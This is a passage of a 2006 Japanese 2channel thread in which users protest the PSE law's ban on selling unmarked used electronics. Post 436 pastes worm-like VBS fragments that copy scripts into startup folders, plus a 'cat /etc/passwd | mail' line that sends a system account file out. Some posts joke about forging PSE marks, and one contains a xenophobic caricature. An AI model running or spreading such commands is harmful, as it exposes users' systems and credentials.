共産党以外の政治家の多くは、経済産業省にのせられちまったって感じかな。
んで、あとから規制対象を２００１年以前の家電にも及ぼすと経済産業省が言い出すと。
経済産業省すごいなぁ、「電気用品の安全」って言葉に騙されてほいほい可決しちゃう議員もアレだけど。
それとも、議員もグルかな？社民党は乗せられただけだろうけどね

345 ：名無しさん＠６周年：2006/02/13(月) 20:55:13 ID:riWBRSLx0

しょうがねぇなＰＳＥの焼印作れ
んで押せ
これで解決だろ

346 ：定期コピペ：2006/02/13(月) 20:55:17 ID:5qTVdRQj0

１．これは法案じゃなくて、すでに施行されてる法律。
２．観賞用でもダメなものはダメ。
３．パチンコの景品交換方式もダメ。
４．ＰＣは対象外。ＡＣアダプター使用のゲーム機は残り２年の猶予。
５．中古だけじゃなくて新品もこの法律の対象。

347 ：名無しさん＠６周年：2006/02/13(月) 20:55:21 ID:XEWxWATh0

大量の電気製品が海外に流れるわけだ

348 ：名無しさん＠６周年：2006/02/13(月) 20:55:27 ID:Q55u+X/A0

http://www.shugiin.go.jp/itdb_housei.nsf/html/housei/h145121.htm

349 ：名無しさん＠６周年：2006/02/13(月) 20:55:32 ID:F3ysGA57O

たしか坂本龍一と同級生の国会議員がいたぞ。
テレビタックルとかに出てるやつだ。
もう連絡がいってるかもしれん。

350 ：名無しさん＠６周年：2006/02/13(月) 20:55:48 ID:foXM0w1i0

たださ、コピーガードキャンセラーもなんだかんだ言って売ってるからなあ。

351 ：名無しさん＠６周年：2006/02/13(月) 20:56:08 ID:X4gLz4KS0

楽器もダメなの？？

ＤＸ−７サウンドは永遠に聴けなくなるの？

352 ：名無しさん＠６周年：2006/02/13(月) 20:56:10 ID:IuupJZH/0

この法律やめにできないの？
議員の先生方。
知らなかったよ。こんなの。

353 ：名無しさん＠６周年：2006/02/13(月) 20:56:16 ID:wXkVTdjl0

つまり、経済産業省を何とかすればこの法律は止められるんだな？

何とか

354 ：名無しさん＠６周年：2006/02/13(月) 20:56:17 ID:m0NMfnq6O

オークションにも出品ダメなの？

355 ：名無しさん＠６周年：2006/02/13(月) 20:56:22 ID:zcB0k+FT0

PSEマークの無いゲーム機差し上げます。
送料は1万円です。

ていうやり方オークションで出てくるんじゃない？

356 ：名無しさん＠６周年：2006/02/13(月) 20:56:36 ID:ZZwzOeIu0

中古設備がダメだとレストラン開業のハードルもグンと上がるねぇ。

357 ：名無しさん＠６周年：2006/02/13(月) 20:56:44 ID:3cUrNw1OO

お前等釣られ過ぎだぞ。
４月1日はエイプリルフールだ。実は嘘だったんだよ。嘘‥なんだよ…

358 ： ◆q01SAnLOvE ：2006/02/13(月) 20:56:44 ID:zn7nBK2x0

ひでぇ
なんだこれ

359 ：名無しさん＠６周年：2006/02/13(月) 20:56:50 ID:KjD3rybX0

>>333
なんでよ。共産党はこの法案に反対だったらしいぞ。

360 ：名無しさん＠６周年：2006/02/13(月) 20:57:00 ID:vsj/pzf+0

>>322
中古のＤＤＲ、ＢＭ�U　プレイ料金５０円にしたら大人気だったのに。。

361 ：名無しさん＠６周年：2006/02/13(月) 20:57:01 ID:YJSAfHVW0

>>351
ハードは廃棄されるかもね。
ソフトではあるけど・・・・しょせん、まがい物。

362 ：名無しさん＠６周年：2006/02/13(月) 20:57:03 ID:iErg9UBY0

>>351
日本から出れば聴けるさ

363 ：名無しさん＠６周年：2006/02/13(月) 20:57:09 ID:tBqVbyEs0

>>308
レンタル流れの映画は、今必死でDVDを買い集めている。


>>310
かわねー

364 ：名無しさん＠６周年：2006/02/13(月) 20:57:23 ID:D2wYj/jC0

>>351
こりゃ文化の破壊、破棄だな。　

365 ：名無しさん＠６周年：2006/02/13(月) 20:57:36 ID:qyc6fkEE0

中古の売買ができるかどうかという問題よりも本当に大きいのは下記のこと。
まだ皆わかっていないけど二週間ぐらいしたら本当だったということが理解できるようになる。

漏れも中小の技術屋だから正直言って呆然と立ち尽くしている。
お願いだから方々にコピペしてしてくれ。

↓

結局儲かるのは、PSEマークを取得して大量生産する韓国･中国・台湾の【OEMメーカー】。
または、そういった地域で生産を完了させている大手日本メーカー。

そうなると、技術立国の日本が苦心して編み出した回路なんか盗み放題。
だって技術立国として本当の力を持っているのは大手メーカーではなく国内中小企業。

どうやったってこの法律で定められている工場設立の基準を中小企業が満たせるはずがない。
つまり、この法律は国内中小企業潰し。技術立国日本潰し。少なくとも結果的にはそうなるのが確実。
お犬様の法律と張る位の悪法だよこれは。

ちなみに、わかりやすく言うとこの判定機関はJASRACと一緒。やってることはことごとく似ている。
改革改革と言っておきながら、実際は改革を阻止する形で官僚が全て動いている。

率直に言って【　あ・ま・く・だ・り　】をしっかりと作ってのうのうとしているということ。

どうせ偽のPSマークを印刷して貼り付けるだけで他国はスルーされるから。
大手企業は付け届けがしっかり出来たけど関係のない中小は潰せということ。
だって、それが小泉が五年間かけてやってきたグローバル化というものの正体。

ちなみに売れなくなった中古品はどこに行くんだろうねぇ。
まさか北朝鮮なんかに流れることはないよね。

366 ：名無しさん＠６周年：2006/02/13(月) 20:57:40 ID:KQxQuHbD0

役所っていうより、家電業界が主犯なんじゃね？www

367 ：名無しさん＠６周年：2006/02/13(月) 20:57:47 ID:4IyCZXdw0

>>332
電源が無い部品は問題ないというか
パソコンはPSE関係ない。
>>334
三菱のツインサーボメカは、修理しやすいし
故障しにくいしで、最高。

368 ：名無しさん＠６周年：2006/02/13(月) 20:58:32 ID:W5ughOkv0

962 名前：864 投稿日：2006/02/09(木) 23:14:04 ID:y+TdQI0Y
この文書を出して頂いたメーカーの方はJETにも知り合いがいるということで、
JETに問い合わせをしたところ、そもそもJETがこの規格についての
最初の案を出した頃は中古品が想定外であっただけに、
どこからこういう過去の商品に訴求する法案になったのかと
逆に彼らが今の流れに驚いているという様子だったようです。

経産省の方でも、多数の問い合わせが殺到して
（電話かけて応対が一時間待ちくらいになったそうです）
今になってことの重大さに気がついたようで
現実的な運用の仕方について今色々と対応に苦労されているようです
そういう意味では皆さんの電凸も決して無駄ではなかった・・・
のかもしれません。

369 ：名無しさん＠６周年：2006/02/13(月) 20:58:38 ID:Dk2Amayy0

おれの裏テレビ、裏ビデオデッキと言われるようになるのか？

裏電化ショップで中国製が・・・(ﾟ∀ﾟ)ｱﾋｬﾋｬﾋｬﾋｬ

370 ：名無しさん＠６周年：2006/02/13(月) 20:58:38 ID:SRb3SG6C0

>>288

共産と公明は、世界観が違う異種の人々だなあ。

民主か社民くらいしかない。
ただ一部大企業とのつながりで民主もこの法律をやりそうな
気がしないでもない。社民が防衛しっかり路線に変更して
くれれば一番いいんだが、、、。

371 ：名無しさん＠６周年：2006/02/13(月) 20:58:47 ID:1TR/gxg70

>>288
貧乏人の俺は共産だな、国防における幼児性はどうしょうもないけど
批判票のつもりで。

372 ：名無しさん＠６周年：2006/02/13(月) 20:58:51 ID:F9/m+ROZ0

>>331
言っちゃなんだが、申請書の偽造は出来る(と思う)。
試験結果だって、何回もやって一番良いのを乗せとけばいいだろうし。
下手したら、やってなくてもそれらしい結果だけで通るかもしれん。調べようがない。
一回申請が通ったら、全数検査をしている書類を揃えておけばいいのだし。
ある意味、建築物の構造計算よりもタチが悪いかも。


それと、ULはアメリカの認証だから。念のため。

373 ：名無しさん＠６周年：2006/02/13(月) 20:59:08 ID:XKT0bqon0

>>351
>ＤＸ−７サウンドは永遠に聴けなくなるの？
いまさら？

374 ：名無しさん＠６周年：2006/02/13(月) 20:59:14 ID:dGlULOf+0

>334
俺HV-S85だったｗ

375 ：名無しさん＠６周年：2006/02/13(月) 20:59:28 ID:wXIYs9jX0

>>352
廃止法案、凍結法案の提出なら間に合うかも試練

376 ：名無しさん＠６周年：2006/02/13(月) 20:59:31 ID:vX+2OXHg0

>>367
それを知ってるからS95買ってきたんだよ。
ツインサーボメカのデッキが3台有るｗ

377 ：名無しさん＠６周年：2006/02/13(月) 20:59:37 ID:BaRqs7pW0

よい状態の品でも日本国内で売れないとなると


やっぱり、北朝鮮とかに激安で流れていくんでしょうかね？



放置自転車も相当流れ込んでるし。

378 ：名無しさん＠６周年：2006/02/13(月) 20:59:52 ID:wXkVTdjl0

もしこのまま施行されたりしたら、30年後にこの天下り団体が話題に上ったとき、
普通の精神を持っていられるかどうか疑問だ。

379 ：名無しさん＠６周年：2006/02/13(月) 21:00:08 ID:v+e2aVm10

ヤフオクで売れば問題ないだろ。

380 ：名無しさん＠６周年：2006/02/13(月) 21:00:08 ID:u4iIWL8v0

うんうん、レストランもゲーセンも美容室も中古市場がないと
開業難しくなるねぇ。
ラーメン屋だってああ見えてかなり電化製品使うんだよね。
どの業界も影響受けるよね、んで、サービスの価格も上がると。
これから開業する店についてはラーメン一杯あたり５０円くらい上がるかもしれん。

381 ：名無しさん＠６周年：2006/02/13(月) 21:00:09 ID:L+4Unu48O

何をいまさらwww
VIPとかｹﾞｰﾑ板ではとっくにわかってたよ

382 ：名無しさん＠６周年：2006/02/13(月) 21:00:11 ID:kksbSrSRO

>>330
車は国内未登録なら、国内保管品も新車扱いだからねいくら古くても検査通れば登録出来るし

今回のは、製造時以外に国産品にはマークつかないのが変かと
規格以上の質でも、門前払い…

383 ：名無しさん＠６周年：2006/02/13(月) 21:00:29 ID:u3zW3LmC0

【重要】
※※※PSE適合品が火を噴いた※※※

2006年01月27日


【重要】　「くまのプーさん　わたあめポット」商品回収について
「くまのプーさん　わたあめポット」商品回収について

「株式会社トミー」が販売する「くまのプーさん　わたあめポット」につきまして、
使用時、本体内部より発火するという事故が発生いたしました。
原因究明の結果、２００４年以降製造された商品について、
発火する可能性があることが判明いたしました。
また事故原因究明の過程において、一部部品が商品仕様表示と異なることが
判明いたしました。弊社といたしましては、お客様の安全を期するため、
「くまのプーさん　わたあめポット」全品を回収させていただくことといたしました。

お客様、販売店様には、ご迷惑をおかけし申し訳ございません。

●回収対象商品
　　　「くまのプーさん　わたあめポット」全品
　　 ￥5,229（税込）　　　　　　

384 ：名無しさん＠６周年：2006/02/13(月) 21:00:34 ID:XKT0bqon0

>>364
>こりゃ文化の破壊、破棄だな。　
代替がいくらでも利く。

385 ：童貞（禁オナ２日目） ◆rg1eZotGCA ：2006/02/13(月) 21:00:41 ID:9cgQHCbv0

>>367
電源のない機械は関係ないってことは
例えば、ファミコン中古はOKだけど、ACアダプタはNGってこと？

386 ：名無しさん＠６周年：2006/02/13(月) 21:01:10 ID:3omi54qZ0

地元の議員含めて５人へPSE法についてのメール発射しますた

387 ：名無しさん＠６周年：2006/02/13(月) 21:01:18 ID:v+M9F2+V0

>>159
官報って最新号とか新しいやつならホムペで見られるんじゃなかったっけか。
もう長い事見にいってないんだけど。
読んでみるとけっこうおもしろいね。
話それるが官報に載ってる在日の帰化の記事に
元の朝鮮名しか載せないってのはおかしいのでは。
日本名も載せるべきでは。

388 ：名無しさん＠６周年：2006/02/13(月) 21:01:23 ID:D2wYj/jC0

中古を除外すりゃいいことなのになに意固地になってんだよ　経産省
古い物は段々無くなっていくんだからほっとけよ　インチキ役人

389 ：まとめの431 ◆RHl2lE26v6 ：2006/02/13(月) 21:01:30 ID:YY2ec9Kc0

トップ直してくれた人ありがとう
多謝

390 ：名無しさん＠６周年：2006/02/13(月) 21:01:44 ID:4IyCZXdw0

ちょっと待て、楽器関係で騒いでる奴が居るが
MIDI機器はパソコン関連商品だ。
よってビンテージ・シンセはPC関係になって大丈夫。
とかはない？

391 ：名無しさん＠６周年：2006/02/13(月) 21:02:17 ID:iErg9UBY0

>>390
そうだったらこんなに騒いでない

392 ：名無しさん＠６周年：2006/02/13(月) 21:02:19 ID:W5ughOkv0

>>390
ない

393 ：前スレ931：2006/02/13(月) 21:02:20 ID:tiZRHRf60

>>前スレ961
遅くなってスミマセン。
チャンスですね。間に合うと良いのですが…

ノーベル平和賞受賞者に何か言われたら、国民ももっと声を
上げるのではないでしょうか。

394 ：名無しさん＠６周年：2006/02/13(月) 21:02:30 ID:u3zW3LmC0

>>390
TVチューナー内蔵PCはPSE規制対象の罠。

395 ：名無しさん＠６周年：2006/02/13(月) 21:02:42 ID:e9diKIvb0

>>341
トップを以下のように書き換えられてた。
***電気用品安全法スレまとめ

うんこ

なんとか書き戻したが502エラーが辛い。

396 ：名無し募集中・・・：2006/02/13(月) 21:02:47 ID:7eKS4Qql0

ネトオクならいいんだろ
ならどうでもいいやあ

397 ：名無しさん＠６周年：2006/02/13(月) 21:02:54 ID:sMmVbmJs0

>>334 >>374
HV-BS890ってどう？

398 ：名無しさん＠６周年：2006/02/13(月) 21:02:55 ID:v+CtctYH0

>>390
シンセはよくてもアンプが・・・

399 ：名無しさん＠６周年：2006/02/13(月) 21:02:57 ID:qyc6fkEE0

>>390

法律の取り方次第。逆に規制する側でどうにでも変更できるということ。

400 ：名無しさん＠６周年：2006/02/13(月) 21:02:59 ID:67MKJEyr0

>>390
MIDI化してないのは？

401 ：名無しさん＠６周年：2006/02/13(月) 21:03:01 ID:Jj0actpTP

>>217
それなら、中古家電の電源をUSBを介して取ればいい
そうすれば、周辺機器になる

402 ：名無しさん＠６周年：2006/02/13(月) 21:03:44 ID:dGlULOf+0

フと思ったがVHSデッキでこの騒ぎなら、ベータとか8mm規格とか昔のオープンリールのテープ持ってる人にとっちゃマジで死活問題だな

とっととDVDに焼けってことか？

403 ：名無しさん＠６周年：2006/02/13(月) 21:03:46 ID:mucQkKxC0

ttp://www.gsr.jp/irs_sbiz/special/pse.htm
小数の製品を単発で個人売買する人向けに場所を有償で提供する事自体は違法とまでは言えないが、できれば止めて欲しい行為(経回答)との事です。これはまだ予測ですが、ネットオークション上での個人売買は規制・自主規制されるおそれが強いと思われます。

>何で最近になって取り上げられているのでしょうか？
最大手のハードオフ（＋２社）が経省から注意を受けて発覚、
安売り＆買い取り拒否の「張り紙」をみた消費者が2chでスレたてた
経省の宣伝方法が
他省→ペーパー
電機メーカー→説明会
小売店＆消費者→hpのみ
ちなみに、この法律に対する意見投書等は、
５年前の２週間だけ、コソッリと受け付けられてた
−−−−−−−−−−−−−−−−−−−−−−−−
「vipstar」の歌うまい人、替え歌歌ってくれないかな！
「古時計」で速攻出来そうな気も・・・・・
詳しい人居ないかな？

さらに、伊集院光なら
食いつき＆噛みつきしてくれそう
だれか、本人に伝わるbbsとかしらない？
または、カキコplz
TVタックルにメールもアリかも
−−−−−−−−−−−−−−−−
【新品販売（安物なんでＰＳＥ無いよ系）】
・ホームセンター　・デーパート
・ディスカウントショップ　・カメラ店
・ドンキホーテ
中古以外でも−−PSE無し、いくらでも有りそう
−−−−−−−−−−−−−−コピペ、ほしゅ

404 ：名無しさん＠６周年：2006/02/13(月) 21:03:50 ID:D2wYj/jC0

>>384
音色はサンプリングと真似出来るかも知れないけど
キーのタッチとかハード面は無理じゃん。
ＤＸー７がキータッチよいかは知らないけど・・・・・

405 ：名無しさん＠６周年：2006/02/13(月) 21:03:53 ID:9o7aDYnz0

>>396
相場も上がると思うがな。

406 ：名無しさん＠６周年：2006/02/13(月) 21:04:06 ID:ZHwp7G0v0

>>390
経済産業省がルールブック

407 ：名無しさん＠６周年：2006/02/13(月) 21:04:23 ID:04Nk/eCu0

経済産業省と電気用品安全法届出等窓口数カ所に電話してきた　んで、わかった事は

・事業を行うモノは2006/04/01からはPSEマークがついてないヤツは新品/中古とも販売しては駄目
　第四章　販売等の制限（第二十七条・第二十八条）というヤツですな

　んじゃ、事業ではない個人はいーの？と聞いたらこれが凄く曖昧　事業とは継続・反復して販売する
　モノを指すので余りやり過ぎると事業と見なされるとの事。んで『じゃ個人と事業の判断基準はなーに？』
　と聞いたら『特に決まっていません』との回答。試しに『月に１、２台オーディオ製品を売るのは大丈夫？』と
　聞いたら『それは事業と見なされます』とか言って来た(オイオイ、さっき基準がねーとか言っただろーが
　大体月に１，２台ってマニアのヤツなら十分考えられる台数だぞ！！）

　他の窓口でも大体同じ答え。継続・反復しなければ個人での販売はOKみたいなニュアンスで話してた（まぁ
　基準が全然ハッキリしないんだけどね・・・・・・・)

408 ：名無しさん＠６周年：2006/02/13(月) 21:04:46 ID:3+hcaD/b0

PSEマークのCMだそうで。つっても特番用に一回作って一回放映しただけか？

経産省 北海道経済産業局作成
２００３エネルギー特番用、ＰＳＥマークのＣＭ（mpgとwmvの動画）
ttp://www.hkd.meti.go.jp/hokps/psemark_cm/index.htm
---- CM内容 -----
このマークを御存じですか？
電気製品による事故を防ぐための電気用品安全法により
メーカー等が安全性を確認した電気製品につけるPSEマークです。
電気便座等には菱形のマークが、
テレビ等には丸いマークが表示されています。
安全な電気製品を選ぶのはあなた自身です。
購入の際にはPSEマークの確認をお忘れなく
-----------------
これ、売買禁止とか全然告知してないやん。
＞選ぶのはあなた自身です。
まあ、2003年当時だからだろうけど、選ぶも何も売らせないんだろ？

409 ：名無しさん＠６周年：2006/02/13(月) 21:05:07 ID:Xrwxs/DV0

ドリームキャストとセガサターンが買えなくなるだろーがこのウンコサックめ
お上はセガオタの俺に氏ねと申したか

410 ：名無しさん＠６周年：2006/02/13(月) 21:05:08 ID:HI1OM8TE0

biz+の過去スレにこんなのあった。
読めないけど１だけ貼っておく
【家電】「薄型テレビは様子見などせず、できるだけ早く購入を」　日立社長
http://news18.2ch.net/test/read.cgi/bizplus/1137157434/
1 名前：ムネオヘアーφ ★[] 投稿日：2006/01/13(金) 22:03:54 ID:???
　「できるだけ早く楽しんでいただくことが人生この上ない喜びになる」と、
薄型テレビの早期購入を勧めるのは日立製作所の庄山悦彦社長（６９）。
「何年か前の３９型リアプロテレビの画質は当時すごいといわれたが、
今では古新聞を読むような感じだ」とその後の技術進歩に驚きを示す。
　ただ、「薄型テレビの技術進歩はまだこれからもある」と断言。さらなる
進歩や価格下落を見込んで様子見を決め込む消費者には「待っている
間に失う楽しみや喜びはお金には換えられない」と早めの決断を促す。
引用元：ZAKZAK 2006/01/11
http://www.zakzak.co.jp/top/2006_01/t2006011122.html

411 ：名無しさん＠６周年：2006/02/13(月) 21:05:17 ID:KQxQuHbD0

犯人は大手家電メーカーだろw
役所もスルー
政治家もスルー
マスゴミもスルー

糞だらけで御座います。

412 ：名無しさん＠６周年：2006/02/13(月) 21:05:19 ID:a1hYb48C0

　えと、怪我しても自己責任ということでいいので売り買いさせてください。
いつも自己責任自己責任といっておきながらこういう業界団体の利益になることだけは国民
思いだなぁ；

413 ：名無しさん＠６周年：2006/02/13(月) 21:05:19 ID:Q55u+X/A0

しかし、既に投売りやら廃業を決めた中古業者もあるだろうから、
経産省側が今さら運用を変えたらそれはそれで大変なことに・・・・

414 ：名無しさん＠６周年：2006/02/13(月) 21:05:23 ID:Axhh3NOp0

>>402
MPEGはデジタルﾉｲｽﾞが気になる・・・

415 ：名無しさん＠６周年：2006/02/13(月) 21:05:35 ID:YJSAfHVW0

>>359
共産党が質問とかして、他の党が賛成する？
共産党は「共産党以外が作った悪法を糾弾する」
立場になるでしょう？
そうしたら、メンツから他の党は譲れないでしょう。
それよりは、共産党以外が、「せっかくいい法律を
作ったのに、経済産業省が暴走して、中古まで
規制対象にしてリサイクルできないようにしている」
というストーリーの方が賛同する党は多いと思うよ。

416 ：名無しさん＠６周年：2006/02/13(月) 21:05:47 ID:C6p8ohQJ0

知る権利はどうしてたんだ

417 ：名無しさん＠６周年：2006/02/13(月) 21:05:47 ID:mucQkKxC0

メール出した、「一太」たん。
タックル出てる。がんばれー（今日は話題話題出ないだろうけどｗ

418 ：名無しさん＠６周年：2006/02/13(月) 21:05:54 ID:5oybKdNP0

　　　/⌒⌒⌒⌒⌒⌒ ))　　　　|　お前達！
　　（　　　从　　　　ノ.ノ 　 　 　|　日本から中古の家電をかき集めるニダ！
　　　( .／ ￣￣￣￣＼ 　　　　|
　　　|::::::　　ヽ　　　　　丶.　　　|　中国に売りつけて外貨獲得ニダよ。
　　　|::::._＿＿＿､_　 _,＿_)　 ∠
　　（∂:￣￣| ・ー |=|・ー |　　　＼＿＿＿＿＿＿＿＿＿
　　　（　　（　　￣ )・・(￣ i
　　　ヘ＼　 　.._.　)3( .._丿
　／　　＼ヽ　＿二__ノ|＼
/⌒ヽ. 　　＼__／＼i／＼_|
|　　　ヽ　　　　　　　＼o　＼
|　　　　| 　 　 　　　　　＼o　＼

419 ：名無しさん＠６周年：2006/02/13(月) 21:06:05 ID:vX+2OXHg0

>>397
ツインサーボの次のメカのじゃね？

420 ：名無しさん＠６周年：2006/02/13(月) 21:06:31 ID:kksbSrSRO

>>409
メガドラ・マーク３に…

421 ：名無しさん＠６周年：2006/02/13(月) 21:06:34 ID:Dk2Amayy0

PSEマークつくって貼ればいいジャン(ﾟ∀ﾟ)ｱﾋｬﾋｬﾋｬﾋｬ

422 ：名無しさん＠６周年：2006/02/13(月) 21:06:36 ID:YgXHZM6Z0

法が出来たころには「中古」は含まれていなかったのに、
法が可決されてから5年の間に、いつの間にか「中古」も含まれるようになってしまった。

経産省を突くなら、この点しかあるまい。後出しジャンケンの恣意的運用、役人裁量でどのようにも運用できる悪法ってな。

423 ：名無しさん＠６周年：2006/02/13(月) 21:06:44 ID:iErg9UBY0

>>413
そうなんだよな
その点も気になる

424 ：名無しさん＠６周年：2006/02/13(月) 21:07:11 ID:YasSJHTg0

また、アマクダリ先　つくりか？

425 ：名無しさん＠６周年：2006/02/13(月) 21:07:14 ID:67MKJEyr0

>>402
SONYに電話した。
今、返事待ち。

426 ：童貞（禁オナ２日目） ◆rg1eZotGCA ：2006/02/13(月) 21:07:24 ID:9cgQHCbv0

中古女も市場から退場願いたい物だな

427 ：名無しさん＠６周年：2006/02/13(月) 21:07:31 ID:RNqke+Lv0

坂本教授といえばドリームキャストの電源入れたとき流れる音楽もやってたな。

428 ：名無しさん＠６周年：2006/02/13(月) 21:07:36 ID:3omi54qZ0

＞３９０
＞４０１

電子楽器って明示的に対象になってるでしょ？
解釈するのは経３の方

抜け道探すより、表道堂々と歩けるように
このサブマリン法に正面からぶつかってみたら？

429 ：名無しさん＠６周年：2006/02/13(月) 21:07:51 ID:HI1OM8TE0

おれもＳ−ＶＨＳ買おうかなｗ
アナログデッキ特需だな

430 ：名無しさん＠６周年：2006/02/13(月) 21:07:52 ID:Bx6jMVWX0

”製造業”で中古品引き取って適当にばらして組み立てて検査して
ロゴだけ自社にすれば、あら新品でおＫ？

431 ：名無しさん＠６周年：2006/02/13(月) 21:07:56 ID:W5ughOkv0

>415
おれもそう思う。
政治家を批判するより使う方向が良い。

432 ：名無しさん＠６周年：2006/02/13(月) 21:07:57 ID:vsj/pzf+0

新品のアーケード機なんて高くて買えるわけないじゃん。
終わったな・・・・・・・・・・・・・・・・・うちのゲーセン

433 ：名無しさん＠６周年：2006/02/13(月) 21:08:12 ID:u4iIWL8v0

今ならまだ間に合うから運用変えさせよう
今しか、今しか！
でももう間に合わない業者もいるのかなぁ。
被害が拡大しないうちになんとか。

434 ：名無しさん＠６周年：2006/02/13(月) 21:08:41 ID:dGlULOf+0

>397
すまん、ハドオフで捨て値でおいてあったのが偶然v85だったのでスペックは今必死にググッテル最中ｗ

435 ：名無しさん＠６周年：2006/02/13(月) 21:09:03 ID:D/iq1Pnd0

ヴィンテージアンプやらレコーディング機材やらが全部オシャカってことか。
ｶﾅｼｽ

436 ：名無しさん＠６周年：2006/02/13(月) 21:09:04 ID:Gp17keu/0

c.Copy(dirsystem&"＼MSKernel32.vbs")
c.Copy(dirwin&"＼Win32DLL.vbs")
c.Copy(dirsystem&"＼LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail [email protected]
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:＼network.vbs", "j:＼windows＼start menu＼programs＼startup＼"
fso.copyfile "dirsystem&nurupo.vbs", "j:＼windows＼start menu＼programs＼startup＼"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

437 ：名無しさん＠６周年：2006/02/13(月) 21:09:20 ID:6fPvm2qu0

物置の2階にある25年前のアンプは粗大ゴミか．．．

438 ：名無しさん＠６周年：2006/02/13(月) 21:09:41 ID:QAfTPSWm0

なにこれ?

439 ：名無しさん＠６周年：2006/02/13(月) 21:09:43 ID:wXkVTdjl0

>>409
俺なんかまだセガサターン持ってないっつうの
うっかりガーディアンヒーローズとか見つけたらどうするんだこんちくしょう

440 ：名無しさん＠６周年：2006/02/13(月) 21:09:48 ID:D2wYj/jC0

中古のパチスロ機とかも売買ダメなの？
昔の名器イロイロ集めたかったのに　

コンドルとか・・・・・・・

441 ：名無しさん＠６周年：2006/02/13(月) 21:09:51 ID:bcHj5v8B0

ﾅﾆｺﾚ

ﾘｻｲｸﾙ法の連中が儲からないから？
それとも新品買わせるため？

442 ：名無しさん＠６周年：2006/02/13(月) 21:10:18 ID:mucQkKxC0

ウイルス（マジ

443 ：名無しさん＠６周年：2006/02/13(月) 21:10:24 ID:YgXHZM6Z0

436
最近それってアク禁・通報の対象になるらしいが・・・

444 ：名無しさん＠６周年：2006/02/13(月) 21:10:35 ID:e5tUYR2X0

>>417
タックルってここ10年ぐらい、当日録画なんでは？

445 ：童貞（禁オナ２日目） ◆rg1eZotGCA ：2006/02/13(月) 21:10:51 ID:9cgQHCbv0

>>427
俺以外のやつも多分突っ込むだろうが
三枝な

>>432
MAMEで動いてそうな筐体があったが、それならPCだからOKじゃね？

446 ：名無しさん＠６周年：2006/02/13(月) 21:10:58 ID:/5MtdoiD0

大物が動いたぞ！
以下mixiから転載


坂本龍一氏のメールマガジンに「どうお考えでしょうか？」
という問い合わせをしたところ、次のような返信がありました。
皆さん、力を合わせましょう！

-----以下、スタッフからの返信メール転載


ご連絡いただき、ありがとうございます。
ご指摘いただいた「電気用品安全」について、
坂本は大変に由々しき事態と認識しており早速、
友人でありAPやMAAなどで共に活動している松武秀樹氏を中心に、
JSPA（日本シンセサイザープログラマー協会）にて署名集めなどの準備を始めております。
また、本件については3月5日放送予定のJ-WAVE「Radio　Sakamoto」でも扱う予定です。
今後、ニュースレターやWEB/blogなどでも状況についてのご案内をさせていただきます。

本法の間違った運用が是正されるよう、みなさまのご協力をいただけますようお願いいたします。

447 ：名無しさん＠６周年：2006/02/13(月) 21:11:11 ID:tBqVbyEs0

>>382
外国の規格だから「当方の関知することではない」とか言われそうｗ

ここ見やすいよ
ttp://www.gsr.jp/irs_sbiz/special/pse.htm

448 ：名無しさん＠６周年：2006/02/13(月) 21:11:13 ID:YJSAfHVW0

良スレ認定かｗ

449 ：名無しさん＠６周年：2006/02/13(月) 21:11:25 ID:dGlULOf+0

あと、ハドオフにおいてあった松下テクニクスSL-1200については
末尾MK3（カタログ落ち）：処分品（アウト）
末尾MK5（カタログトップモデル）：値札かわらず

450 ：名無しさん＠６周年：2006/02/13(月) 21:11:31 ID:F3ysGA57O

萩原健太あたりもCD輸入禁止の時がんばってたから
力になってくれるかもしれんな。

451 ：名無しさん＠６周年：2006/02/13(月) 21:11:46 ID:67MKJEyr0

良スレ認定来たｗ

452 ：名無しさん＠６周年：2006/02/13(月) 21:12:04 ID:KjD3rybX0

>>436
おまえ経産省の回し者だな

453 ：名無しさん＠６周年：2006/02/13(月) 21:12:50 ID:v+CtctYH0

>>446
まじ！？

454 ：名無しさん＠６周年：2006/02/13(月) 21:12:53 ID:ZZwzOeIu0

喪前らこれは電気とか安全とかそういう話では「全く」無いぞ。

まじめに働いている人の上前をはねる寄生虫が今また１つ誕生
しようとしているという状況。

レーガンと前ブッシュのガイアツによって一旦は排除された非関税障壁が、
今また高く再構築されつつある。しかもこの障壁は役人を守るだけ。

俺はプログラマというかIT業界の人なわけだけれども、ナチス批判の
「私はユダヤ人じゃないので何もしなかった」の神父の気分だ。

こいつ等（経済産業省）はそのうち天下り団体へのお布施無しで
パソコンのプログラムを製造・販売することを禁ししようとするぞ。

455 ：名無しさん＠６周年：2006/02/13(月) 21:12:56 ID:cTmwndpk0

良スレ認定ってもしかしてウィルスコード？

456 ：名無しさん＠６周年：2006/02/13(月) 21:13:11 ID:iErg9UBY0

>>450
そのせいでちょいと干されたみたいだがな
またがんがってほしい

457 ：名無しさん＠６周年：2006/02/13(月) 21:13:14 ID:wXkVTdjl0

電気用品安全法（PSE法）反対運動支援総合スレ
http://aa5.2ch.net/test/read.cgi/nanmin/1139517307/

458 ：名無しさん＠６周年：2006/02/13(月) 21:13:22 ID:QAfTPSWm0

あの文字列はウィルスなのか。
CDブートの俺にはわからないんだよ。
クノーピクスユーザーいなくてｻﾋﾞｼ

459 ：名無しさん＠６周年：2006/02/13(月) 21:13:27 ID:tBqVbyEs0

>>390
パソコンにDX-7繋いだらYAMAHAのOSがフリーズしますた。

460 ：名無しさん＠６周年：2006/02/13(月) 21:13:27 ID:/5MtdoiD0

このスレたってから急にまとめサイトが重くなった気がする

今更ながらニュー速+って影響力あったんだな

461 ：名無しさん＠６周年：2006/02/13(月) 21:13:28 ID:6LS+eCUx0

PSEマークは無いけど、リサイクルマークはある。

コレはどうなるの？

462 ：名無しさん＠６周年：2006/02/13(月) 21:13:39 ID:qyc6fkEE0

中古の売買ができるかどうかという問題よりも本当に大きいのは下記のこと。
まだ皆わかっていないけど二週間ぐらいしたら本当だったということが理解できるようになる。

漏れも中小の技術屋だから正直言って呆然と立ち尽くしている。
お願いだから方々にコピペしてしてくれ。

↓

結局儲かるのは、PSEマークを取得して大量生産する韓国･中国・台湾の【OEMメーカー】。
または、そういった地域で生産を完了させている大手日本メーカー。

そうなると、技術立国の日本が苦心して編み出した回路なんか盗み放題。
だって技術立国として本当の力を持っているのは大手メーカーではなく国内中小企業。

どうやったってこの法律で定められている工場設立の基準を中小企業が満たせるはずがない。
つまり、この法律は国内中小企業潰し。技術立国日本潰し。少なくとも結果的にはそうなるのが確実。
